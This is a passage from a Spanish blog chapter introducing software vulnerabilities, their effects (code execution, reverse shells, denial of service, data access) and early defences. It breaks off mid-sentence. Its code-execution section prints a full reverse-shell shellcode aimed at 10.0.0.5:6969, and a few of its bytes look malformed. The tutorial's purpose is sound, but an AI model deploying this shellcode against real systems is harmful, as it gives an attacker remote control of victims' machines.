http://blog.theliel.

es/2011/08/seguridad-vulnerabilidades-capitulo-primero-introduccion-al-mundo-
de-las-vulnerabilidades.html

Introduccin al mundo de las Vulnerabilidades

Antes de entrar realmente en la materia especfica, es necesaria una pequea introduccin sobre el
mundo de las vulnerabilidades, conocimientos bsicos que posteriormente se usarn constantemente
a la hora de ver las diferentes vulnerabilidades que podemos encontrar. Y es que de eso es de lo que
vamos a tratar en todo este tema: Las vulnerabilidades ms comunes que existen a da de hoy en el
mundo de la tecnologa en general y de la informtica en particular, de cmo el verdadero hacker
hace uso de estas para causar autnticos estragos all donde aparecen.

Vamos a intentar dividir este pequeo captulo en algunas secciones para tener ms o menos claro
de lo que vamos a ver:

Que es una vulnerabilidad y que no.

Tipos de vulnerabilidades y sus efectos: Ejecucin arbitraria de cdigo, Denegacin de servicio
(DoS), Acceso a informacin restringida
Como evitar o protegerse contra estas amenazas: Actualizaciones, Firewalls, ASLR, DEP, SEHOP,
Otros

Que es una vulnerabilidad.

Es curioso que aunque las vulnerabilidades son sin duda alguna el mayor peligro para un usuario o
entidad (empresa, organizacin), son de las que menos se hablan o menos informacin parece
existir. Cualquiera acude a Google, lanza una peticin sobre un virus concreto y casi de inmediato le
aparecern cientos de webs con mltiples soluciones para la eliminacin de dicho malware. Pero en
cambio, tienes que irte a sites muy concretos en los que se comentan o hablan de fallos de seguridad
por ejemplo. Es ms, si a un usuario domstico le preguntas si sabes que es un virus, te dir
posiblemente que no solo sabe lo que es, sino que en alguna ocasin le jug una mala pasada en su
equipo, haciendo que este fuese a lo mejor ms lento, o reciba publicidad indiscriminada en su
propio escritorio de Windows, o usaba su cuenta de correo para enviar Spam. Y si le preguntas si
sabe algo de fallos de seguridad en sus programas o si alguna vez ha tenido algn problema con
algn exploit? Posiblemente no sea capaz siquiera de saber de qu se le est preguntando.

Hay que dejar bien claro desde el principio que un malware (Virus, troyano, gusanos) no es una
vulnerabilidad, no es un fallo de seguridad de un programa o un software, no es una puerta abierta
que se ha dejado abierta de forma premeditada o accidental. Un malware como ya se vio, no es ms
que un programa informtico, que como tal est programado para realizar una serie de acciones. Lo
que diferencia un malware a un programa normal y corriente es que su finalidad es la de realizar lo
que podramos llamar acciones malignas, engaando al usuario al que se le implantar y en la
medida de lo posible sin que este sepa que el malware est en su dispositivo. Por tanto, como
cualquier programa, sufre de sus ventajas y sus inconvenientes. Como cualquier programa, un
malware se encuentra con las limitaciones de tales!! Para que un programa se ejecute necesita antes
o despus de la intervencin directa del usuario (como veremos ms adelante esto no es del todo
cierto cuando hay exploits por medio). El malware continuar ejecutndose en el dispositivo hasta
que este programa sea detenido al igual que cualquier otro programa que exista. Simplemente la
habilidad de estos programadores, hace que estos malware sean ms o menos astutos y sepan
esconderse mejor o peor. Pero como he dicho no dejan de ser eso, programas diseados con ese fin.
Una vulnerabilidad por el contrario no es en modo alguno un programa, aunque muchas de ellas se
suelen crear precisamente en la creacin de otros programas. Una vulnerabilidad es un fallo
generalmente en un software que hace que este sea susceptible a un ataque de algn tipo, para lograr
en este un comportamiento anmalo. He dicho que es un fallo generalmente en un software, pero
esto no es exclusivo del softwar, un protocolo puede ser igualmente vulnerable si se demuestra que
la teora que hay detrs por ejemplo tiene fallos que pueden ser utilizados. Un ejemplo de
vulnerabilidad no relacionada directamente con el software es por ejemplo la encriptacin RSA, el
cual se basa precisamente en la imposibilidad de obtener de forma rpida la factorizacin de un
nmero gigantesco que ha sido formado por la multiplicacin de dos nmeros primos grandes. Esto
a la vez de ser en lo que se basa RSA para su seguridad, es tambin su vulnerabilidad, ya que
tericamente es posible factorizar cualquier nmero no primo, simplemente limitado al tiempo
requerido para ello puede que la seguridad RSA sea actualmente inquebrantable, pero
tericamente es totalmente factible, y si los ordenadores cunticos llegan a ser una realidad, RSA
dejar de ser viable tal y como lo conocemos a da de hoy.

De todos modos, aqu tan solo vamos a tratar las vulnerabilidades del software, no las que pudiesen
afectar a protocolos o sistemas, que en cierto modo ya han sido tratadas en otros temas, a fin de
cuenta que se pueda realizar un Sniffing en una red gobernada por un Switch es posible a
vulnerabilidades de los protocolos actuales. Tambin hay que tener presente que muchas veces la
existencia de vulnerabilidades es algo intrnseco e inevitable al propio software, mientras que otras
veces el software es creado de tal forma y con el conocimiento de ciertas vulnerabilidades en post
de una mayor usabilidad o nuevas funciones (por ejemplo). La mayora de estas vulnerabilidades
sin embargo, son creadas accidentalmente por los propios programadores de software o incluso
por los propios compiladores. En cualquiera de los dos casos, el ser humano comete errores, y por
eficiente, profesional o meticuloso que sea un programador, siempre habr cuestiones que se le
escapen, errores ms pequeos o menos pequeos que al final puedan ser usados por un exploit. No
existe el software perfecto, y cuanto ms crece un proyecto de software ms fcil es sacar a la luz
sus fallos, por su complejidad y porque ms programadores habrn estado trabajando en ello. A
medida que los compiladores evolucionan y se mejoran las tcnicas de programacin, es cierto que
los fallos de seguridad disminuyen enormemente, pero como ya se ha dicho, ningn proyecto
medianamente complejo es invulnerable, solo tiene que aparecer alguien que es capaz de ver donde
falla, por qu falla y como utilizar dicho fallo.

Pero Cul es el peligro real de una vulnerabilidad de software? Si tomsemos al azar cualquier
persona de la calle y le preguntsemos si sabe que es un fallo de software posiblemente nos
respondera que un cuelgue, algn mensaje de error o simplemente un comportamiento errneo
de dicho programa. Pero no todos los fallos de un software son una vulnerabilidad ni mucho menos.
La vulnerabilidad existe en el momento que ese fallo de funcionamiento puede ser dirigido por un
atacante a voluntad, haciendo que este pueda en cierto modo controlar dicho fallo y aprovecharse de
l. Pero como es posible usar un fallo en un programa para beneficiarse de l desde el punto de
vista de un hacker? Bueno, no todos los fallos de un software producen fallos de seguridad, ni
siquiera todos los fallos/vulnerabilidades son usables de echo solo lo son la minora. No obstante
la premisa s es simple.

En teora, visto el software como un Sandbox (caja negra), cualquier posible fallo de seguridad o
vulnerabilidad de este tan solo tendra un dominio de actuacin dentro de esa caja negra. Es decir,
que ante un fallo de cualquier tipo, el peor de los casos sera un deterioro, prdida de informacin,
cuelgue de dicho software. En la prctica, sabemos que por mucho que los procesos se
independicen o sean ejecutados como cajas negras, estos estn a su vez gobernados generalmente
por un OS detrs, lo que hace que en muchas ocasiones estos software vulnerables puedan
interactuar directamente con el OS que lo gestiona comprometiendo al propio sistema. Es por ello
que los efectos de las vulnerabilidades sern muy variados, desde simplemente lograr detener el
software en cuestin, hasta lograr el control total del sistema intervenido.

Tipos de vulnerabilidades y sus efectos

Las vulnerabilidades pueden clasificarse de muchas formas diferentes, desde atendiendo a su

peligrosidad, a sus efectos, a su mbito de efecto es por ello que posiblemente en cualquier otro
lugar puedan ser clasificadas de cualquier otro modo. Desde mi punto de vista, quizs la divisin
ms importante de estas vulnerabilidades es el mbito de accin de estas, es decir, si la
vulnerabilidad supone un peligro de forma remota o localmente. Aqu, cuando nos referimos a
Vulnerabilidad remota estamos hablando de un fallo de seguridad que puede ser disparado o
aprovechado de algn modo sin tener un acceso directo al equipo en cuestin. Por otro lado
hablaremos de vulnerabilidades locales cuando dicho fallo de seguridad pueda tan solo ser
disparado o aprovechado solo s tenemos acceso directo a dicho dispositivo. Parece plausible que a
priori podra parecer que las vulnerabilidades realmente peligrosas son las remotas, pero esto no
tiene por qu ser as. Que una vulnerabilidad sea remota o local sean ms o menos peligrosa
(potencialmente) depende de lo que un atacante desea lograr y los resultados que pueda obtener con
ellas. En un momento dado una vulnerabilidad remota puede no servir para nada, mientras que una
local puede darte acceso total al sistema. Parece evidente por tanto, que para que exista una
vulnerabilidad remota, el software afectado debe de estar de modo alguno a la red (ya sea LAN o
WAN), mientras que las vulnerabilidades locales pueden estar presente en cualquier software.

A partir de esta primera clasificacin, se abren una gran cantidad de diferentes vulnerabilidades
comunes que suele afrontar el software. No quiere decir que todas ellas sean posibles en todo el
software existente, ni siquiera que todas ellas puedan ser aplicadas tanto en sistemas remotos como
locales. Algunas de ellas las veremos en detalle en los temas siguientes, con ejemplos reales. Pero
de nada sirve conocer exactamente un tipo de vulnerabilidad si no se le ve todo como un conjunto.
Algunas vulnerabilidades adems se han hecho muy famosas con los aos, otras en cambio, siendo
igualmente de peligrosas parecen pasar ms desapercibida por programadores y asesores de
seguridad. Veamos unas cuantas de ellas sin entrar en detalle, que como digo ser parte del temario
que vendr ms adelante.

Posiblemente, sin duda alguna las vulnerabilidades de software ms importantes son los
Desbordamientos de Buffer y los punteros sueltos. Cualquier programa que se est ejecutando es a
groso modo un conjunto de instrucciones que son ejecutadas por el procesador de forma secuencial
(suponiendo un solo hilo de ejecucin y no existiese ningn salto). Esas instrucciones antes de
poder ser enviadas al procesador deben de estar evidentemente antes en memoria principal, y esta es
siempre susceptible a ataques tanto externos como internos, con el fin de modificar/alterar ese flujo
de ejecucin que podra considerarse el normal de dicho programa. Los desbordamientos de buffer
y los punteros sueltos son tcnicas que permitirn como veremos ms adelante la ruptura de ese
flujo normal de ejecucin, alterando de algn modo la memoria del sistema que contiene las
instrucciones que se van a ejecutar o jugando con ellas para obtener otros resultados. Dicho de
otro modo, bsicamente se trata de poder controlar de algn modo el registro EIP, que es el registro
que indica la prxima instruccin a ejecutar.

En segundo lugar, posiblemente las vulnerabilidades ms comunes sean todas las relacionadas con
las validaciones de datos. A da de hoy, prcticamente cualquier software permite de un modo u otro
la introduccin de datos a este, ya sea de forma automatizada o a peticin por el usuario. En un
mundo ideal todo el software sabra interpretar perfectamente que es aquello que se est
introduciendo como entrada de datos y lo tratara acorde de ello. No obstante, desde el punto de
vista de un programador esta es una tarea herclea. Es este y no otro quien debe de introducir en el
software todas las reglas de validacin de los datos que crea oportunas con el fin de que el programa
tan solo acepte los valores esperados. El caso ms tonto podra ser una calculadora, en la que el
programador evidentemente tan solo permitira la introduccin de nmeros (hablamos del caso ms
simple de todo, obviamos hexadecimal, constantes), y si se intentase introducir una letra
directamente no la permitira o nos informara del error. El problema es que esto es muchas veces
algo muy muy complejo, y suele ser muy fcil que a un programador se le escape el saneamiento de
cualquier entrada, permitiendo que un atacante se aproveche de ello. Dentro de este campo, se
encuentren posiblemente las vulnerabilidades ms comunes a da de hoy, posiblemente por la
explosin de Internet: Inyeccin de cdigo, Inyeccin eMail, Inyeccin SQL, Cross-site Scripting,
Path traversal esto no quiere decir que las vulnerabilidades de validaciones de datos sean
inservibles en software local no expuesto a Internet, simplemente que estas han tomado una gran
importancia gracias a que precisamente Internet se perfila cada da ms como una red de interaccin
constante. Dicho de un modo simple si tenemos que introducir cualquier cosa en cualquier web
(una bsqueda, un comentario, una opinin, una descarga, un nombre de usuario/contrasea), este
podra ser malignamente creado para producir un efecto devastador en el servidor en el que est
alojado el servicio que sea.

En tercer lugar y no menos importante tendramos las Escaladas de privilegios. Prcticamente la

totalidad de cualquier dispositivo que pudisemos considerar seguros, estn gobernados por un
OS que tienen una jerarqua clara de permisos. Del mismo modo que los programa se ejecutan en
cierto modo como cajas negras, estos son ejecutados en la medida de lo posible siempre con los
permisos ms restrictivos posibles, o dicho de otro modo, tan solo se les concede los permisos
necesarios para su funcionamiento ptimo. De este modo, se puede estructurar todo el OS con una
filosofa clara sobre quin y cmo se puede ejecutar cualquier programa. Es aqu donde nace la
figura archiconocida del Sper Usuario Administrador o en terminologa Linux root. En
cualquier sistema y prcticamente en cualquier software, se conocen dichos privilegios y/o usuarios
como el acceso total. Si hablamos por ejemplo de un OS como Windows 7, la figura del
Administrador tendra privilegios totales sobre el sistema, permitiendo as cualquier cambio al
sistema que este desease, desde cambio de las polticas de seguridad, creacin/eliminacin de
usuarios y sus contrasea Pero esto no solo es aplicable a los OS, sino que tambin al software!!
Un buen ejemplo de esto sera una base de datos MySQL por ejemplo, en el que la figurada de
Administrador root tendra acceso total a la base de datos, no solo a determinadas tablas o algunos
valores. Cuanto ms avanza el tiempo, ms se intenta restringir los privilegios del software, con la
idea de que en el peor de los casos, incluso ante una ejecucin de cdigo arbitraria, este tan solo
pudiese ejecutar dicho cdigo como un usuario lo ms limitado posible, y de este modo tener el
menor acceso posible al sistema.

Evidentemente estos tres puntos no resumen todos los tipos de vulnerabilidades que podemos
encontrar a da de hoy, pero s las ms extendidas, clsicas y potencialmente peligrosas a da de hoy,
y que sern las que veamos ms adelante. Pero qu hay de la finalidad de todas esas
vulnerabilidades? Evidentemente un hacker usar cualquier vulnerabilidad a su alcance para lograr
su objetivo, pero cul es su objetivo? Qu se logra o qu se puede lograr con dichos fallos de
seguridad?

Como se ha dicho todo depende del objetivo o los deseos del hacker, no obstante no todas las
vulnerabilidades prosiguen ni mucho menos el mismo fin, y suele ser ms que habitual el uso de
varias vulnerabilidades para lograr la tarea que se ha propuesto el atacante. De todos modos listar
los efectos comunes que se suelen derivar de las vulnerabilidades es fcil, estos suelen ser bastante
claros:
La ejecucin de cdigo arbitraria

Posiblemente, la ejecucin de cdigo arbitrario sea el mximo exponente al que puede llegar un
hacker. Cuando un fallo de seguridad de cualquier software puede provocar este estado en el
sistema atacado, podemos decir que el Hacker ha logrado su Jaque Mate. La ejecucin de cdigo
arbitrario se define como la capacidad de poder ejecutar a voluntad del hacker cualquier cdigo en
el equipo afectado. Esto es de suma importancia, ya que si un hacker puede ejecutar cdigo a su
voluntad en dicho equipo, con casi total seguridad posea control total sobre dicho equipo (siempre y
cuando los privilegios que posea en dicho equipo sean tambin de administrador). Cuando se trata
de una vulnerabilidad remota que causa dicho estado, hablaramos entonces del peor escenario
posible, una ejecucin de cdigo remota, en la que el hacker podra tomar posesin (control total)
de un equipo que simplemente estaba conectado a Internet o a una Red local. Aunque simple de
explicar, posiblemente no lo sea tanto el entender las repercusiones de esto. Bsicamente si un
hacker posee un exploit de ejecucin remota para un software y versin de este que t usas, podr
obtener control total sobre tu equipo a su voluntad. La cosa evidentemente no es para rerse.

La relacin entre la ejecucin arbitraria de cdigo con el control total del equipo es directa, pero a
lo mejor no es tan obvia como otras cuestiones que se estn discutiendo aqu. Normalmente, en los
concursos y demostraciones de seguridad lo que se exige siempre es lo mismo, la ejecucin
arbitraria de cdigo, la cual se suele demostrar haciendo que el experto en seguridad sea capaz de
abrir la calculadora del sistema atacado por medio de un fallo de seguridad encontrado en cualquier
software. Pero de nuevo, igual que el hacker instruye al equipo para que ejecute la aplicacin
calculadora de Windows (por ejemplo), puede instruir tambin al equipo vulnerable a que ejecute
una serie de instrucciones que conforman por ejemplo un servidor VNC (software usado para
control remoto), o lo que es ms comn en este mundo, instruir al equipo objetivo para dotar al
hacker de una Shell a dicho equipo (una lnea de comandos). La ventaja de inducir una Shell
remota es evidente. Una Shell remota, proporciona al hacker capacidad sobrada de realizar
cualquier tarea en el equipo objetivo, ya sea el robo de informacin, ya sea la instalacin de una
puerta trasera por la cual conectarse ms adelante. Adems, el cdigo necesario para crear una Shell
es infinitamente menor al necesario para crear un servidor VNC (por ejemplo), lo cual tambin es
de agradecer a la hora de preparar las armas al hacker. Ni que decir tiene que la creacin de una
Shell o cualquier otro cdigo depender totalmente del equipo afectado, as por ejemplo el cdigo
necesario para abrir una Shell remota en Windows no es usable para hacerlo en Linux y viceversa.

La ejecucin de cdigo arbitraria no obstante se enfrenta a dos problemas clsicos. El primero de

ellos es algo que hemos comentado ya: Los privilegios. Cuando un software es afectado por un fallo
de seguridad con la ejecucin de cdigo arbitrario, cualquier cdigo que sea ejecutado a travs de
este fallo tendr tan solo los privilegios heredados por el software afectado. Si dicho software estaba
siendo ejecutado con permisos administrativos, entonces el hacker ejecutar cdigo con tales
privilegios, tendra una Shell siendo administrador. Pero en cambio, si el proceso en cuestin se
estaba ejecutando con permisos limitados, el hacker por el contrario no podr poseer un control total
sobre el sistema, tan solo a aquellas partes de este en las que sus privilegios limitados les puedan
dar acceso, sin poder acceder a otras partes que seran interesantes del sistema las cuales tan solo
tendra a lo mejor el administrador de este. Es aqu donde comprendemos ahora la importancia de
las vulnerabilidades de Escaladas de privilegios de las que hablamos anteriormente.

El segundo problema al que se enfrentan los hackers una vez logrado la ejecucin de cdigo remoto
es sin duda alguna uno de los nmesis de estos, los Firewalls. Mientras el acceso que est
intentando realizar el hacker sea local (con acceso directo al equipo) no hay mucho problema, pero
cuando se est intentando un acceso remoto a un equipo, un Firewall por cutre que sea (incluso
simplemente un dispositivo NAT) filtrara cualquier conexin entrante al equipo que no se
solicitase. Es decir, que incluso cuando el hacker pudiese ejecutar cdigo remoto en el equipo
vctima, el Firewall de Windows, el Router del usuario o el Firewall de la empresa denegaran
cualquier conexin a una Shell estndar creada en el equipo remoto, lo cual complicara
enormemente al hacker su labor, el cual aunque podra ejecutar cdigo no podra inyectar un
pequeo programa servidor al cual conectarse. No obstante, todo nmesis tiene su espada mgica
para vencerle, y a da de hoy existen tcnicas para circunvalar estas defensas. En dicho caso lo ms
normal es usar conexiones inversas. Las conexiones inversas no solucionan el problema de raz, ya
que un Firewall puede configurarse de forma ms o menos estricta para evitar estas conexiones
inversas, pero con estas tcnicas automticamente se logra evitar tanto dispositivos NAT como el
99% de todos los Firewalls configurados por defecto.

En redes, para establecer una conexin es evidente que una de las dos partes sea la que comience la
comunicacin. Aquel equipo/software qu comienza la comunicacin lo denominamos
generalmente como cliente, mientras que el equipo/software que generalmente est esperando a
que se conecten a l se le denomina servidor. De este modo, si deseamos poder conectarnos a un
equipo de forma remota, el equipo remoto har tericamente de servidor y nuestro equipo de
cliente, ya que es el equipo remoto el que estar a la espera de una conexin nuestra, y ser nuestro
equipo el que inicie la comunicacin con l. Pues bien, el truco es que el 99% de todos los firewalls
o dispositivos NAT filtran (deniegan) cualquier conexin entrante por defecto. Es decir, que si
deseamos poner en escucha cualquier software en un equipo (un software tipo servidor), antes
tendremos que tomar las medidas precisas en los Firewall o Routers intermedios para que estos no
intervengan y permitan las conexiones entrantes dirigidas a dicho servicio (las famosas aperturas de
puertos de los Routers). Evidentemente esto lo puede hacer el administrador de esos equipos, pero
no un hacker. En cambio, los mismos dispositivos no tienen problema alguno de permitir que un
software cliente tenga acceso al exterior nadie se imagina tener que estar configurando los
Firewalls cada vez que su equipo quiere conectarse a cualquier servicio de la red.

Las conexiones inversas por tanto se basan en esta disyuntiva para evitar los Firewalls y
dispositivos NAT. En vez de crear por ejemplo una Shell ordinaria (que actuara de servidor), hacen
que la Shell creada en el equipo objetivo sea una conexin saliente a un servidor del hacker que
permanece a la escucha. Ser el equipo vctima quien iniciar la conexin al equipo remoto, y al
cual le dar la Shell remota. Dado que la conexin es saliente desde el punto de vista del equipo
atacado, los dispositivos NAT y Firewalls de la vctima permitirn la conexin, mientras que el
servidor del hacker estar configurado y preparado para recibir las conexiones remotas inducidas
por el hacker en cuestin. A este tipo de Shell se las conoce por tanto como Shell Inversas. Por
supuesto que un Firewall podra configurarse para permitir tan solo ciertas conexiones salientes,
pero es algo que generalmente no se usa, tan solo en servidores en los que se concede tan solo
conexiones salientes a ciertos servicios.

A diferencia de un malware que simplemente es un programa previamente creado, estos cdigos

arbitrarios no son tan simples de manejar como se podra pensar. Si lo que desea el hacker es
ejecutar un programa concreto del equipo objetivo puede quizs no tener una complejidad muy
grande, en cambio si lo que el hacker desea es inyectar su propio cdigo la cosa es algo ms
complicada, ya que por lo general es necesario inyectar directamente el cdigo en lenguaje
mquina, es decir, una secuencia de valores hexadecimales que corresponden a los opcode y valores
de las instrucciones ensamblador que se desean enviar al equipo vctima. A esto se le denomina
generalmente ShellCode, dado que generalmente el cdigo que se incluye es el necesario para crear
una Shell. Actualmente existen generadores de shellcode en funcin de las necesidades que
tengamos: Si deseamos una Shell directa o inversa, la IP del host remoto/origen, el puerto de
conexin etc etc etc. Veamos un ejemplo de shellcode para crear una Shell inversa al equipo del
hacker ubicado en la IP 10.0.0.5 por el puerto 6969:
\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\
\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\
\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\
xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\
\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\
\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\
\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\
\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\
\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\
\x89\xc7\x68\x0a\x00\x00\x05\x68\x02\x00\x1b\x39\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\
\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\
\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\
\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\
\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\
\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5

Esa cadena de valores hexadecimales no son ms que las instrucciones en ensamblador que se
ejecutarn en el procesador y los valores que los acompaan. Por ejemplo, el primer valor
hexadecimal xFC es el opcode de la instruccin CLD (Clear direction flag) que lo que hace es
limpiar (poner a cero) el flag DF del procesador. Como digo, cdigos de este tipo son complejos de
analizar y de comprender. En cambio tienen una gran ventaja, y es que tan solo bastan unos cuantos
bytes (en este caso 314) para crear una Shell inversa totalmente configurada y funcional, una
cuestin muy importante a la hora de intentar aprovechar cualquier vulnerabilidad, dado que no
siempre se puede inyectar toda la cantidad de cdigo que uno desee.

Aqu de nuevo vemos la gran diferencia entre un hacker de verdad y un simple Script Kiddie.
Aunque actualmente existen herramientas para generar el shellcode deseado para cualquier
plataforma, un buen hacker estara capacitado para crear en un momento dado el shellcode
necesario y por descontado comprender y modificar cualquier shellcode generado. Un script Kiddie
sabra que es un shellcode y como generarlo en todo caso, sin tener la menor idea de que significa
esa cadena de valores. Evidentemente dudo mucho que a da de hoy existan muchas personas que
sepan de memoria el juego de instrucciones completo y actual de Intel. Hablamos de cientos de
instrucciones si es que no llegan al millar, hablamos del mamotreto oficial de Intel de su juego de
instrucciones, que son a da de hoy 1643 pginas.

Evidentemente la ejecucin de cdigo arbitraria no es exclusiva de las vulnerabilidades remotas, y

pese a lo que se pueda pensar, un exploit local que permite la ejecucin de cdigo arbitrario puede
ser realmente til, por poner un ejemplo imaginar un exploit que afecte a Acrobat Reader y permita
ejecucin de cdigo arbitrara en el equipo que abriese un documento PDF malficamente creado.
El resultado sera que la vctima al abrir el documento PDF hara que su Acrobat vulnerable cayese
en la trampa de ejecutar en ese preciso momento el cdigo malicioso del hacker, que podra ser
tanto una Shell inversa como por ejemplo la instalacin de una puerta trasera en el equipo. El
hacker tan solo tendra que enviar sus documentos PDF por correo o por cualquier otro mtodo a
sus vctimas, y quien va a pensar que un PDF puede ser en s un caballo de troya (y nunca mejor
dicho)? La imaginacin es el lmite para el hacker.

Denegacin de Servicio (DoS)

Las siglas DoS o DDoS (Denegacin de servicio distribuida) son en los tiempos que corren
bastante conocidas, rara es la semana que no se lee en la prensa que un grupo de exaltados y
delincuentes han realizado un ataque de denegacin de servicio contra un servidor tal, el cual han
dejado inutilizable durante cierto tiempo. La denegacin de servicio se produce cuando un
servicio/software/sistema degrada o incluso detiene por completo su funcionamiento debido
generalmente al agotamiento de los recursos disponibles para dicho servicio/software/sistema. De
nuevo, el cmo pertrechar este tipo de ataques se ver ms adelante, aqu tan solo veremos a groso
modo el efecto que produce. La ventaja de los ataques DoS es su facilidad de llevarse a cabo, sobre
todo los DDoS, que simplemente son DoS en el que participan varias fuentes emisoras del ataque.

Normamente cuando se habla de DoS nos solemos referir al bloqueo de un servidor web/dns que ha
sido llevado a cabo gracias a la participacin de cientos o miles de personas (generalmente redes de
robots botnets). Pero un DoS no es algo exclusivo a servidores, y en realidad cualquier software
puede sufrir de un DoS. Para que cualquier programa pueda estar ejecutndose de forma normal,
debe de disponer una serie de recursos a su disposicin, como pueda ser Memoria Virtual (RAM y
HDD), interrupciones, flujos de datos de entrada y salida, lecturas y escrituras de disco,
procesador si algn recurso, crtico para la aplicacin, se agota, el propio sistema es el que casi
con toda posibilidad finalice el programa en cuestin para que la extenuacin no pueda afectar al
resto del sistema. Pensar en un programa que nada ms ejecutarse comienza a reservar memoria sin
parar llegar un momento en el que agote la memoria del sistema!! Si es un buen sistema, este
resolvera el conflicto o denegando ms memoria a dicha aplicacin o en el peor de los casos
finalizando el proceso y liberando la memoria consumida. En el peor de los casos el proceso
consumira la RAM del sistema y este tendra que comenzar con uso intensivo de memoria virtual,
lo que producira una degradacin e incluso bloqueo de todo el sistema. En cualquier caso, fuese el
OS el que finalizase el proceso o el sistema mismo el que degradase su propio rendimiento,
estaramos ante un DoS

Por desgracia, es muy fcil provocar un DoS en un software, aunque solo repercuta en el reinicio de
dicho programa o su bloqueo temporal.

Acceso a informacin restringida

No est relacionado directamente con la escala de privilegios. Con acceso a informacin restringida
nos referimos a que gracias a una vulnerabilidad el hacker podra acceder a datos que de otro modo
les sera imposible, como por ejemplo el acceso o robo de una base de datos o ganar el acceso a un
servidor sin tener siquiera que ser un usuario autentificado de dicho sistema. Normalmente esto es
lo que buscan la mayora (no todas) de las vulnerabilidades de verificacin de datos, como pueda
ser la inyeccin SQL o el path traversal por ejemplo.

Evidentemente lo mejor que podra lograr un hacker sera una ejecucin arbitraria de cdigo, pero
muchas veces no es necesario si lo que se desea es obtener un dato o conjunto de datos concretos
que pueden ser extrados de otros modos menos intrusivos, ms silenciosos y muchas veces muy
ingeniosos. No hay que ver las causas y efectos de las vulnerabilidades como un ranking en el que
unas se tapan a otras, sino como un gran abanico de armas que un usuario malintencionado tiene a
su alcance para lograr su tarea. Y la lgica y la experiencia nos dice que antes o despus el sistema
atacado cae si se le pone el empeo suficiente, aunque muchas muchas veces la solucin viene de
vulnerabilidades simples. A lo mejor un servidor puede ser realmente fuerte contra ataques clsicos
de denegacin de servicio y tener unas fuertes polticas de actualizacin de software que hacen que
un exploit de ejecucin remota sea muy complicado obtenerlo pero a lo mejor a los
programadores se les olvid algn pequeo detalle en la programacin PHP que gestiona la base de
datos, detalle que puede aprovechar el hacker para obtener a lo mejor de la base de datos un listado
completo de los usuarios y contraseas de dicho servidor.
Hay que tener en cuenta que cualquier programador o administrador de sistema es humano, y que
por muy cuidadoso que sea es muy muy complicado el tapar el 100% de todos los agujeros por los
cuales se podra tericamente colar un usuario para obtener esa informacin restringida. Le
sorprendera a ms de uno lo simple que puede resultar obtener del servidor atacado el archivo
passwd (el archivo en el que Linux guarda los usuarios y contraseas del sistema), y dado que de
nuevo la gran mayora de empresas, organizaciones poseen unas polticas de contraseas casi
inexistentes, dichos archivos suelen ser muy simples de revertir. Un mal saneamiento en el cdigo
PHP, un error en cdigo JS, en la configuracin del servidor y de seguro que habr alguien al otro
lado que sabr hacer buen uso de ese descuido para machacar como desee dicho servidor.

Adems de la ejecucin de cdigo remota, la denegacin de servicio o el acceso a informacin

restringida, existen otros tantos efectos produciros por las vulnerabilidades, lo que sucede es que
generalmente estos efectos estn totalmente asociados a la vulnerabilidad que los produce. Es decir,
un desbordamiento de buffer puede producir tanto la ejecucin de cdigo remota como un ataque de
denegacin de servicio, mientras que el objetivo que persigue una vulnerabilidad de escala de
privilegios es precisamente eso una escala de privilegios. Lo mismo sucede con algunas
vulnerabilidades de validacin de datos como la inyeccin email.

Defensas ante las vulnerabilidades y como evitarlas

Al contrario que el malware cuya responsabilidad recae totalmente en el usuario, las

vulnerabilidades no dependen directamente del usuario. Como tales, son responsabilidad de los
programadores, de los ingenieros, de las organizaciones que crean los estndares a priori son
totalmente inevitables desde el punto de vista del usuario. Pero del todo? En realidad el usuario no
es el responsable de que una vulnerabilidad le afecte, l puede presuponer errneamente que todo el
software es perfecto y que todo funcionar siempre como tiene que funcionar. Claro que eso es en la
teora, en la prctica sabemos que esto no se cumple de ninguna de las maneras, por tanto s que el
usuario puede hacer algunas cosas para amortiguar los efectos de estas.

Actualmente existen algunas medidas o defensas si se prefieren llamar antes las vulnerabilidades.
Pero antes de entrar en ellas hay que dejar muy claro que la eficacia de estas son siempre relativas,
y cualquier defensa o medida que se pueda tomar para evitarlas puede ser circunvalada. No quita
que sean del todo inefectivas, pero s es cierto que no por tomarlas al pie de la letras todas ellas
vamos a tener un equipo totalmente seguro contra las vulnerabilidades. Entre todas las medidas que
existen (que son sin duda alguna pocas), podramos clasificarlas como activas o pasivas en funcin
de si requieren intervencin directa del usuario o no.

Actualizar, Actualizar, Actualizar

El arma ms efectiva que cualquier usuario podr tener en sus manos para defenderse de los fallos
de seguridad actualizarlos. La mayora de las compaas serias de Software es algo que se toman
relativamente en serio, y no es raro ver como peridicamente sacan actualizaciones de software,
mucha de las cuales no son para aadir funciones o mejorar la experiencia, la gran mayora de ellas
